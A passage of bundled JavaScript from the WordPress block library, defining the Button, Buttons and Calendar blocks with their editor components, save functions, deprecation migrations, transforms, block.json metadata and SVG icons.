6067 "layout"
6068 );
6069 const typographyProps = (0,external_wp_blockEditor_namespaceObject.getTypographyClassesAndStyles)(attributes, {
6070 typography: {
6071 fluid: fluidTypographySettings
6072 },
6073 layout: {
6074 wideSize: layout?.wideSize
6075 }
6076 });
6077 const hasNonContentControls = blockEditingMode === "default";
6078 const hasBlockControls = hasNonContentControls || isLinkTag && !lockUrlControls;
6079 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
6080 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6081 "div",
6082 {
6083 ...blockProps,
6084 className: dist_clsx(blockProps.className, {
6085 [`has-custom-width wp-block-button__width-${width}`]: width
6086 }),
6087 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6088 external_wp_blockEditor_namespaceObject.RichText,
6089 {
6090 ref: mergedRef,
6091 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Button text"),
6092 placeholder: placeholder || (0,external_wp_i18n_namespaceObject.__)("Add text\u2026"),
6093 value: text,
6094 onChange: (value) => setAttributes({
6095 text: removeAnchorTag(value)
6096 }),
6097 withoutInteractiveFormatting: true,
6098 className: dist_clsx(
6099 className,
6100 "wp-block-button__link",
6101 colorProps.className,
6102 borderProps.className,
6103 typographyProps.className,
6104 {
6105 [`has-text-align-${textAlign}`]: textAlign,
6106 // For backwards compatibility add style that isn't
6107 // provided via block support.
6108 "no-border-radius": style?.border?.radius === 0,
6109 [`has-custom-font-size`]: blockProps.style.fontSize
6110 },
6111 (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)("button")
6112 ),
6113 style: {
6114 ...borderProps.style,
6115 ...colorProps.style,
6116 ...spacingProps.style,
6117 ...shadowProps.style,
6118 ...typographyProps.style,
6119 writingMode: void 0
6120 },
6121 onReplace,
6122 onMerge: mergeBlocks,
6123 identifier: "text"
6124 }
6125 )
6126 }
6127 ),
6128 hasBlockControls && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: [
6129 hasNonContentControls && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6130 external_wp_blockEditor_namespaceObject.AlignmentControl,
6131 {
6132 value: textAlign,
6133 onChange: (nextAlign) => {
6134 setAttributes({ textAlign: nextAlign });
6135 }
6136 }
6137 ),
6138 isLinkTag && !lockUrlControls && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6139 external_wp_components_namespaceObject.ToolbarButton,
6140 {
6141 name: "link",
6142 icon: !isURLSet ? link_default : link_off_default,
6143 title: !isURLSet ? (0,external_wp_i18n_namespaceObject.__)("Link") : (0,external_wp_i18n_namespaceObject.__)("Unlink"),
6144 shortcut: !isURLSet ? external_wp_keycodes_namespaceObject.displayShortcut.primary("k") : external_wp_keycodes_namespaceObject.displayShortcut.primaryShift("k"),
6145 onClick: !isURLSet ? startEditing : unlink,
6146 isActive: isURLSet
6147 }
6148 )
6149 ] }),
6150 isLinkTag && isSelected && (isEditingURL || isURLSet) && !lockUrlControls && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6151 external_wp_components_namespaceObject.Popover,
6152 {
6153 placement: "bottom",
6154 onClose: () => {
6155 setIsEditingURL(false);
6156 richTextRef.current?.focus();
6157 },
6158 anchor: popoverAnchor,
6159 focusOnMount: isEditingURL ? "firstElement" : false,
6160 __unstableSlotName: "__unstable-block-tools-after",
6161 shift: true,
6162 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6163 external_wp_blockEditor_namespaceObject.LinkControl,
6164 {
6165 value: linkValue,
6166 onChange: ({
6167 url: newURL,
6168 opensInNewTab: newOpensInNewTab,
6169 nofollow: newNofollow
6170 }) => setAttributes(
6171 getUpdatedLinkAttributes({
6172 rel,
6173 url: newURL,
6174 opensInNewTab: newOpensInNewTab,
6175 nofollow: newNofollow
6176 })
6177 ),
6178 onRemove: () => {
6179 unlink();
6180 richTextRef.current?.focus();
6181 },
6182 forceIsEditingLink: isEditingURL,
6183 settings: LINK_SETTINGS,
6184 createSuggestion: createPageEntity && handleCreate,
6185 withCreateSuggestion: userCanCreatePages,
6186 createSuggestionButtonText: createButtonText
6187 }
6188 )
6189 }
6190 ),
6191 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6192 WidthPanel,
6193 {
6194 selectedWidth: width,
6195 setAttributes
6196 }
6197 ) }),
6198 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: [
6199 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6200 HTMLElementControl,
6201 {
6202 tagName,
6203 onChange: (value) => setAttributes({ tagName: value }),
6204 options: [
6205 { label: (0,external_wp_i18n_namespaceObject.__)("Default (<a>)"), value: "a" },
6206 { label: "<button>", value: "button" }
6207 ]
6208 }
6209 ),
6210 isLinkTag && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6211 external_wp_components_namespaceObject.TextControl,
6212 {
6213 __next40pxDefaultSize: true,
6214 __nextHasNoMarginBottom: true,
6215 label: (0,external_wp_i18n_namespaceObject.__)("Link relation"),
6216 help: (0,external_wp_element_namespaceObject.createInterpolateElement)(
6217 (0,external_wp_i18n_namespaceObject.__)(
6218 "The <a>Link Relation</a> attribute defines the relationship between a linked resource and the current document."
6219 ),
6220 {
6221 a: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, { href: "https://developer.mozilla.org/docs/Web/HTML/Attributes/rel" })
6222 }
6223 ),
6224 value: rel || "",
6225 onChange: (newRel) => setAttributes({ rel: newRel })
6226 }
6227 )
6228 ] })
6229 ] });
6230}
6231var edit_edit_default = ButtonEdit;
6232
6233
6234;// ./node_modules/@wordpress/block-library/build-module/button/block.json
6235const button_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/button","title":"Button","category":"design","parent":["core/buttons"],"description":"Prompt visitors to take action with a button-style link.","keywords":["link"],"textdomain":"default","attributes":{"tagName":{"type":"string","enum":["a","button"],"default":"a"},"type":{"type":"string","default":"button"},"textAlign":{"type":"string"},"url":{"type":"string","source":"attribute","selector":"a","attribute":"href","role":"content"},"title":{"type":"string","source":"attribute","selector":"a,button","attribute":"title","role":"content"},"text":{"type":"rich-text","source":"rich-text","selector":"a,button","role":"content"},"linkTarget":{"type":"string","source":"attribute","selector":"a","attribute":"target","role":"content"},"rel":{"type":"string","source":"attribute","selector":"a","attribute":"rel","role":"content"},"placeholder":{"type":"string"},"backgroundColor":{"type":"string"},"textColor":{"type":"string"},"gradient":{"type":"string"},"width":{"type":"number"}},"supports":{"anchor":true,"splitting":true,"align":false,"alignWide":false,"color":{"__experimentalSkipSerialization":true,"gradients":true,"__experimentalDefaultControls":{"background":true,"text":true}},"typography":{"__experimentalSkipSerialization":["fontSize","lineHeight","fontFamily","fontWeight","fontStyle","textTransform","textDecoration","letterSpacing"],"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalWritingMode":true,"__experimentalDefaultControls":{"fontSize":true}},"reusable":false,"shadow":{"__experimentalSkipSerialization":true},"spacing":{"__experimentalSkipSerialization":true,"padding":["horizontal","vertical"],"__experimentalDefaultControls":{"padding":true}},"__experimentalBorder":{"color":true,"radius":true,"style":true,"width":true,"__experimentalSkipSerialization":true,"__experimentalDefaultControls":{"color":true,"radius":true,"style":true,"width":true}},"interactivity":{"clientNavigation":true}},"styles":[{"name":"fill","label":"Fill","isDefault":true},{"name":"outline","label":"Outline"}],"editorStyle":"wp-block-button-editor","style":"wp-block-button","selectors":{"root":".wp-block-button .wp-block-button__link","typography":{"writingMode":".wp-block-button"}}}');
6236;// ./node_modules/@wordpress/block-library/build-module/button/save.js
6237
6238
6239
6240function button_save_save({ attributes, className }) {
6241 const {
6242 tagName,
6243 type,
6244 textAlign,
6245 fontSize,
6246 linkTarget,
6247 rel,
6248 style,
6249 text,
6250 title,
6251 url,
6252 width
6253 } = attributes;
6254 const TagName = tagName || "a";
6255 const isButtonTag = "button" === TagName;
6256 const buttonType = type || "button";
6257 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetBorderClassesAndStyles)(attributes);
6258 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetColorClassesAndStyles)(attributes);
6259 const spacingProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetSpacingClassesAndStyles)(attributes);
6260 const shadowProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetShadowClassesAndStyles)(attributes);
6261 const typographyProps = (0,external_wp_blockEditor_namespaceObject.getTypographyClassesAndStyles)(attributes);
6262 const buttonClasses = dist_clsx(
6263 "wp-block-button__link",
6264 colorProps.className,
6265 borderProps.className,
6266 typographyProps.className,
6267 {
6268 [`has-text-align-${textAlign}`]: textAlign,
6269 // For backwards compatibility add style that isn't provided via
6270 // block support.
6271 "no-border-radius": style?.border?.radius === 0,
6272 [`has-custom-font-size`]: fontSize || style?.typography?.fontSize
6273 },
6274 (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)("button")
6275 );
6276 const buttonStyle = {
6277 ...borderProps.style,
6278 ...colorProps.style,
6279 ...spacingProps.style,
6280 ...shadowProps.style,
6281 ...typographyProps.style,
6282 writingMode: void 0
6283 };
6284 const wrapperClasses = dist_clsx(className, {
6285 [`has-custom-width wp-block-button__width-${width}`]: width
6286 });
6287 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6288 external_wp_blockEditor_namespaceObject.RichText.Content,
6289 {
6290 tagName: TagName,
6291 type: isButtonTag ? buttonType : null,
6292 className: buttonClasses,
6293 href: isButtonTag ? null : url,
6294 title,
6295 style: buttonStyle,
6296 value: text,
6297 target: isButtonTag ? null : linkTarget,
6298 rel: isButtonTag ? null : rel
6299 }
6300 ) });
6301}
6302
6303
6304;// ./node_modules/@wordpress/block-library/build-module/button/index.js
6305
6306
6307
6308
6309
6310
6311
6312const { name: button_name } = button_block_namespaceObject;
6313const button_settings = {
6314 icon: button_default,
6315 example: {
6316 attributes: {
6317 className: "is-style-fill",
6318 text: (0,external_wp_i18n_namespaceObject.__)("Call to action")
6319 }
6320 },
6321 edit: edit_edit_default,
6322 save: button_save_save,
6323 deprecated: button_deprecated_deprecated_default,
6324 merge: (a, { text = "" }) => ({
6325 ...a,
6326 text: (a.text || "") + text
6327 })
6328};
6329const button_init = () => initBlock({ name: button_name, metadata: button_block_namespaceObject, settings: button_settings });
6330
6331
6332;// ./node_modules/@wordpress/icons/build-module/library/buttons.js
6333
6334
6335var buttons_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M14.5 17.5H9.5V16H14.5V17.5Z M14.5 8H9.5V6.5H14.5V8Z M7 3.5H17C18.1046 3.5 19 4.39543 19 5.5V9C19 10.1046 18.1046 11 17 11H7C5.89543 11 5 10.1046 5 9V5.5C5 4.39543 5.89543 3.5 7 3.5ZM17 5H7C6.72386 5 6.5 5.22386 6.5 5.5V9C6.5 9.27614 6.72386 9.5 7 9.5H17C17.2761 9.5 17.5 9.27614 17.5 9V5.5C17.5 5.22386 17.2761 5 17 5Z M7 13H17C18.1046 13 19 13.8954 19 15V18.5C19 19.6046 18.1046 20.5 17 20.5H7C5.89543 20.5 5 19.6046 5 18.5V15C5 13.8954 5.89543 13 7 13ZM17 14.5H7C6.72386 14.5 6.5 14.7239 6.5 15V18.5C6.5 18.7761 6.72386 19 7 19H17C17.2761 19 17.5 18.7761 17.5 18.5V15C17.5 14.7239 17.2761 14.5 17 14.5Z" }) });
6336
6337
6338;// ./node_modules/@wordpress/block-library/build-module/buttons/deprecated.js
6339
6340
6341
6342const migrateWithLayout = (attributes) => {
6343 if (!!attributes.layout) {
6344 return attributes;
6345 }
6346 const { contentJustification, orientation, ...updatedAttributes } = attributes;
6347 if (contentJustification || orientation) {
6348 Object.assign(updatedAttributes, {
6349 layout: {
6350 type: "flex",
6351 ...contentJustification && {
6352 justifyContent: contentJustification
6353 },
6354 ...orientation && { orientation }
6355 }
6356 });
6357 }
6358 return updatedAttributes;
6359};
6360const deprecated_deprecated = [
6361 {
6362 attributes: {
6363 contentJustification: {
6364 type: "string"
6365 },
6366 orientation: {
6367 type: "string",
6368 default: "horizontal"
6369 }
6370 },
6371 supports: {
6372 anchor: true,
6373 align: ["wide", "full"],
6374 __experimentalExposeControlsToChildren: true,
6375 spacing: {
6376 blockGap: true,
6377 margin: ["top", "bottom"],
6378 __experimentalDefaultControls: {
6379 blockGap: true
6380 }
6381 }
6382 },
6383 isEligible: ({ contentJustification, orientation }) => !!contentJustification || !!orientation,
6384 migrate: migrateWithLayout,
6385 save({ attributes: { contentJustification, orientation } }) {
6386 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6387 "div",
6388 {
6389 ...external_wp_blockEditor_namespaceObject.useBlockProps.save({
6390 className: dist_clsx({
6391 [`is-content-justification-${contentJustification}`]: contentJustification,
6392 "is-vertical": orientation === "vertical"
6393 })
6394 }),
6395 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {})
6396 }
6397 );
6398 }
6399 },
6400 {
6401 supports: {
6402 align: ["center", "left", "right"],
6403 anchor: true
6404 },
6405 save() {
6406 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) });
6407 },
6408 isEligible({ align }) {
6409 return align && ["center", "left", "right"].includes(align);
6410 },
6411 migrate(attributes) {
6412 return migrateWithLayout({
6413 ...attributes,
6414 align: void 0,
6415 // Floating Buttons blocks shouldn't have been supported in the
6416 // first place. Most users using them probably expected them to
6417 // act like content justification controls, so these blocks are
6418 // migrated to use content justification.
6419 // As for center-aligned Buttons blocks, the content justification
6420 // equivalent will create an identical end result in most cases.
6421 contentJustification: attributes.align
6422 });
6423 }
6424 }
6425];
6426var buttons_deprecated_deprecated_default = deprecated_deprecated;
6427
6428
6429;// external ["wp","richText"]
6430const external_wp_richText_namespaceObject = window["wp"]["richText"];
6431;// ./node_modules/@wordpress/block-library/build-module/utils/get-transformed-attributes.js
6432
6433function getTransformedAttributes(attributes, newBlockName, bindingsCallback = null) {
6434 if (!attributes) {
6435 return void 0;
6436 }
6437 const newBlockType = (0,external_wp_blocks_namespaceObject.getBlockType)(newBlockName);
6438 if (!newBlockType) {
6439 return void 0;
6440 }
6441 const transformedAttributes = {};
6442 if ((0,external_wp_blocks_namespaceObject.hasBlockSupport)(newBlockType, "anchor") && attributes.anchor) {
6443 transformedAttributes.anchor = attributes.anchor;
6444 }
6445 if ((0,external_wp_blocks_namespaceObject.hasBlockSupport)(newBlockType, "ariaLabel") && attributes.ariaLabel) {
6446 transformedAttributes.ariaLabel = attributes.ariaLabel;
6447 }
6448 if (attributes.metadata) {
6449 const transformedMetadata = [];
6450 if (bindingsCallback) {
6451 transformedMetadata.push("id", "bindings");
6452 }
6453 if (transformedMetadata.length > 0) {
6454 const newMetadata = Object.entries(attributes.metadata).reduce(
6455 (obj, [prop, value]) => {
6456 if (!transformedMetadata.includes(prop)) {
6457 return obj;
6458 }
6459 obj[prop] = prop === "bindings" ? bindingsCallback(value) : value;
6460 return obj;
6461 },
6462 {}
6463 );
6464 if (Object.keys(newMetadata).length > 0) {
6465 transformedAttributes.metadata = newMetadata;
6466 }
6467 }
6468 }
6469 if (Object.keys(transformedAttributes).length === 0) {
6470 return void 0;
6471 }
6472 return transformedAttributes;
6473}
6474
6475
6476;// ./node_modules/@wordpress/block-library/build-module/buttons/transforms.js
6477
6478
6479
6480const transforms_transforms = {
6481 from: [
6482 {
6483 type: "block",
6484 isMultiBlock: true,
6485 blocks: ["core/button"],
6486 transform: (buttons) => (
6487 // Creates the buttons block.
6488 (0,external_wp_blocks_namespaceObject.createBlock)(
6489 "core/buttons",
6490 {},
6491 // Loop the selected buttons.
6492 buttons.map(
6493 (attributes) => (
6494 // Create singular button in the buttons block.
6495 (0,external_wp_blocks_namespaceObject.createBlock)("core/button", attributes)
6496 )
6497 )
6498 )
6499 )
6500 },
6501 {
6502 type: "block",
6503 isMultiBlock: true,
6504 blocks: ["core/paragraph"],
6505 transform: (buttons) => (
6506 // Creates the buttons block.
6507 (0,external_wp_blocks_namespaceObject.createBlock)(
6508 "core/buttons",
6509 {},
6510 // Loop the selected buttons.
6511 buttons.map((attributes) => {
6512 const { content } = attributes;
6513 const element = (0,external_wp_richText_namespaceObject.__unstableCreateElement)(document, content);
6514 const text = element.innerText || "";
6515 const link = element.querySelector("a");
6516 const url = link?.getAttribute("href");
6517 return (0,external_wp_blocks_namespaceObject.createBlock)("core/button", {
6518 ...attributes,
6519 ...getTransformedAttributes(
6520 attributes,
6521 "core/button",
6522 ({ content: contentBinding }) => ({
6523 text: contentBinding
6524 })
6525 ),
6526 text,
6527 url
6528 });
6529 })
6530 )
6531 ),
6532 isMatch: (paragraphs) => {
6533 return paragraphs.every((attributes) => {
6534 const element = (0,external_wp_richText_namespaceObject.__unstableCreateElement)(
6535 document,
6536 attributes.content
6537 );
6538 const text = element.innerText || "";
6539 const links = element.querySelectorAll("a");
6540 return text.length <= 30 && links.length <= 1;
6541 });
6542 }
6543 }
6544 ]
6545};
6546var transforms_transforms_default = transforms_transforms;
6547
6548
6549;// ./node_modules/@wordpress/block-library/build-module/buttons/edit.js
6550
6551
6552
6553
6554
6555const DEFAULT_BLOCK = {
6556 name: "core/button",
6557 attributesToCopy: [
6558 "backgroundColor",
6559 "border",
6560 "className",
6561 "fontFamily",
6562 "fontSize",
6563 "gradient",
6564 "style",
6565 "textColor",
6566 "width"
6567 ]
6568};
6569function ButtonsEdit({ attributes, className }) {
6570 const { fontSize, layout, style } = attributes;
6571 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
6572 className: dist_clsx(className, {
6573 "has-custom-font-size": fontSize || style?.typography?.fontSize
6574 })
6575 });
6576 const { hasButtonVariations } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
6577 const buttonVariations = select(external_wp_blocks_namespaceObject.store).getBlockVariations(
6578 "core/button",
6579 "inserter"
6580 );
6581 return {
6582 hasButtonVariations: buttonVariations.length > 0
6583 };
6584 }, []);
6585 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
6586 defaultBlock: DEFAULT_BLOCK,
6587 // This check should be handled by the `Inserter` internally to be consistent across all blocks that use it.
6588 directInsert: !hasButtonVariations,
6589 template: [["core/button"]],
6590 templateInsertUpdatesSelection: true,
6591 orientation: layout?.orientation ?? "horizontal"
6592 });
6593 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps });
6594}
6595var buttons_edit_edit_default = ButtonsEdit;
6596
6597
6598;// ./node_modules/@wordpress/block-library/build-module/buttons/block.json
6599const buttons_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/buttons","title":"Buttons","category":"design","allowedBlocks":["core/button"],"description":"Prompt visitors to take action with a group of button-style links.","keywords":["link"],"textdomain":"default","supports":{"anchor":true,"align":["wide","full"],"html":false,"__experimentalExposeControlsToChildren":true,"color":{"gradients":true,"text":false,"__experimentalDefaultControls":{"background":true}},"spacing":{"blockGap":["horizontal","vertical"],"padding":true,"margin":["top","bottom"],"__experimentalDefaultControls":{"blockGap":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"__experimentalBorder":{"color":true,"radius":true,"style":true,"width":true,"__experimentalDefaultControls":{"color":true,"radius":true,"style":true,"width":true}},"layout":{"allowSwitching":false,"allowInheriting":false,"default":{"type":"flex"}},"interactivity":{"clientNavigation":true},"contentRole":true},"editorStyle":"wp-block-buttons-editor","style":"wp-block-buttons"}');
6600;// ./node_modules/@wordpress/block-library/build-module/buttons/save.js
6601
6602
6603
6604function buttons_save_save({ attributes, className }) {
6605 const { fontSize, style } = attributes;
6606 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save({
6607 className: dist_clsx(className, {
6608 "has-custom-font-size": fontSize || style?.typography?.fontSize
6609 })
6610 });
6611 const innerBlocksProps = external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(blockProps);
6612 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps });
6613}
6614
6615
6616;// ./node_modules/@wordpress/block-library/build-module/buttons/index.js
6617
6618
6619
6620
6621
6622
6623
6624
6625const { name: buttons_name } = buttons_block_namespaceObject;
6626const buttons_settings = {
6627 icon: buttons_default,
6628 example: {
6629 attributes: {
6630 layout: {
6631 type: "flex",
6632 justifyContent: "center"
6633 }
6634 },
6635 innerBlocks: [
6636 {
6637 name: "core/button",
6638 attributes: { text: (0,external_wp_i18n_namespaceObject.__)("Find out more") }
6639 },
6640 {
6641 name: "core/button",
6642 attributes: { text: (0,external_wp_i18n_namespaceObject.__)("Contact us") }
6643 }
6644 ]
6645 },
6646 deprecated: buttons_deprecated_deprecated_default,
6647 transforms: transforms_transforms_default,
6648 edit: buttons_edit_edit_default,
6649 save: buttons_save_save
6650};
6651const buttons_init = () => initBlock({ name: buttons_name, metadata: buttons_block_namespaceObject, settings: buttons_settings });
6652
6653
6654;// ./node_modules/@wordpress/icons/build-module/library/calendar.js
6655
6656
6657var calendar_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V7h15v12zM9 10H7v2h2v-2zm0 4H7v2h2v-2zm4-4h-2v2h2v-2zm4 0h-2v2h2v-2zm-4 4h-2v2h2v-2zm4 0h-2v2h2v-2z" }) });
6658
6659
6660;// ./node_modules/@wordpress/block-library/build-module/calendar/block.json
6661const calendar_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/calendar","title":"Calendar","category":"widgets","description":"A calendar of your site’s posts.","keywords":["posts","archive"],"textdomain":"default","attributes":{"month":{"type":"integer"},"year":{"type":"integer"}},"supports":{"align":true,"html":false,"color":{"link":true,"__experimentalSkipSerialization":["text","background"],"__experimentalDefaultControls":{"background":true,"text":true},"__experimentalSelector":"table, th"},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true}},"style":"wp-block-calendar"}');
6662;// ./node_modules/@wordpress/block-library/build-module/calendar/edit.js
6663
6664
6665
6666
6667
6668
6669
6670
6671
6672const getYearMonth = memize((date) => {
6673 if (!date) {
6674 return {};
6675 }
6676 const dateObj = new Date(date);
6677 return {
6678 year: dateObj.getFullYear(),
6679 month: dateObj.getMonth() + 1
6680 };
6681});
6682function CalendarEdit({ attributes }) {
6683 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
6684 const { date, hasPosts, hasPostsResolved } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
6685 const { getEntityRecords, hasFinishedResolution } = select(external_wp_coreData_namespaceObject.store);
6686 const singlePublishedPostQuery = {
6687 status: "publish",
6688 per_page: 1
6689 };
6690 const posts = getEntityRecords(
6691 "postType",
6692 "post",
6693 singlePublishedPostQuery
6694 );
6695 const postsResolved = hasFinishedResolution("getEntityRecords", [
6696 "postType",
6697 "post",
6698 singlePublishedPostQuery
6699 ]);
6700 let _date;
6701 const editorSelectors = select("core/editor");
6702 if (editorSelectors) {
6703 const postType = editorSelectors.getEditedPostAttribute("type");
6704 if (postType === "post") {
6705 _date = editorSelectors.getEditedPostAttribute("date");
6706 }
6707 }
6708 return {
6709 date: _date,
6710 hasPostsResolved: postsResolved,
6711 hasPosts: postsResolved && posts?.length === 1
6712 };
6713 }, []);
6714 if (!hasPosts) {
6715 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { icon: calendar_default, label: (0,external_wp_i18n_namespaceObject.__)("Calendar"), children: !hasPostsResolved ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) : (0,external_wp_i18n_namespaceObject.__)("No published posts found.") }) });
6716 }
6717 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Disabled, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6718 (external_wp_serverSideRender_default()),
6719 {
6720 block: "core/calendar",
6721 attributes: { ...attributes, ...getYearMonth(date) }
6722 }
6723 ) }) });
6724}
6725
6726
6727;// ./node_modules/@wordpress/block-library/build-module/calendar/transforms.js
6728
6729const calendar_transforms_transforms = {
6730 from: [
6731 {
6732 type: "block",
6733 blocks: ["core/archives"],
6734 transform: () => (0,external_wp_blocks_namespaceObject.createBlock)("core/calendar")
6735 }
6736 ],
6737 to: [
6738 {
6739 type: "block",
6740 blocks: ["core/archives"],
6741 transform: () => (0,external_wp_blocks_namespaceObject.createBlock)("core/archives")
6742 }
6743 ]
6744};
6745var calendar_transforms_transforms_default = calendar_transforms_transforms;
6746
6747
6748;// ./node_modules/@wordpress/block-library/build-module/calendar/index.js
6749
6750
6751
6752
6753
6754const { name: calendar_name } = calendar_block_namespaceObject;
6755const calendar_settings = {
6756 icon: calendar_default,
6757 example: {},
6758 edit: CalendarEdit,
6759 transforms: calendar_transforms_transforms_default
6760};
6761const calendar_init = () => initBlock({ name: calendar_name, metadata: calendar_block_namespaceObject, settings: calendar_settings });
6762
6763
6764;// ./node_modules/@wordpress/icons/build-module/library/category.js
6765
6766
6767var category_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6768 external_wp_primitives_namespaceObject.Path,
6769 {
6770 d: "M6 5.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM4 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2V6zm11-.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5h-3a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM13 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2h-3a2 2 0 01-2-2V6zm5 8.5h-3a.5.5 0 00-.5.5v3a.5.5 0 00.5.5h3a.5.5 0 00.5-.5v-3a.5.5 0 00-.5-.5zM15 13a2 2 0 00-2 2v3a2 2 0 002 2h3a2 2 0 002-2v-3a2 2 0 00-2-2h-3zm-9 1.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5v-3a.5.5 0 01.5-.5zM4 15a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2v-3z",
6771 fillRule: "evenodd",
6772 clipRule: "evenodd"
6773 }
6774) });
6775
6776
6777;// ./node_modules/@wordpress/block-library/build-module/categories/block.json
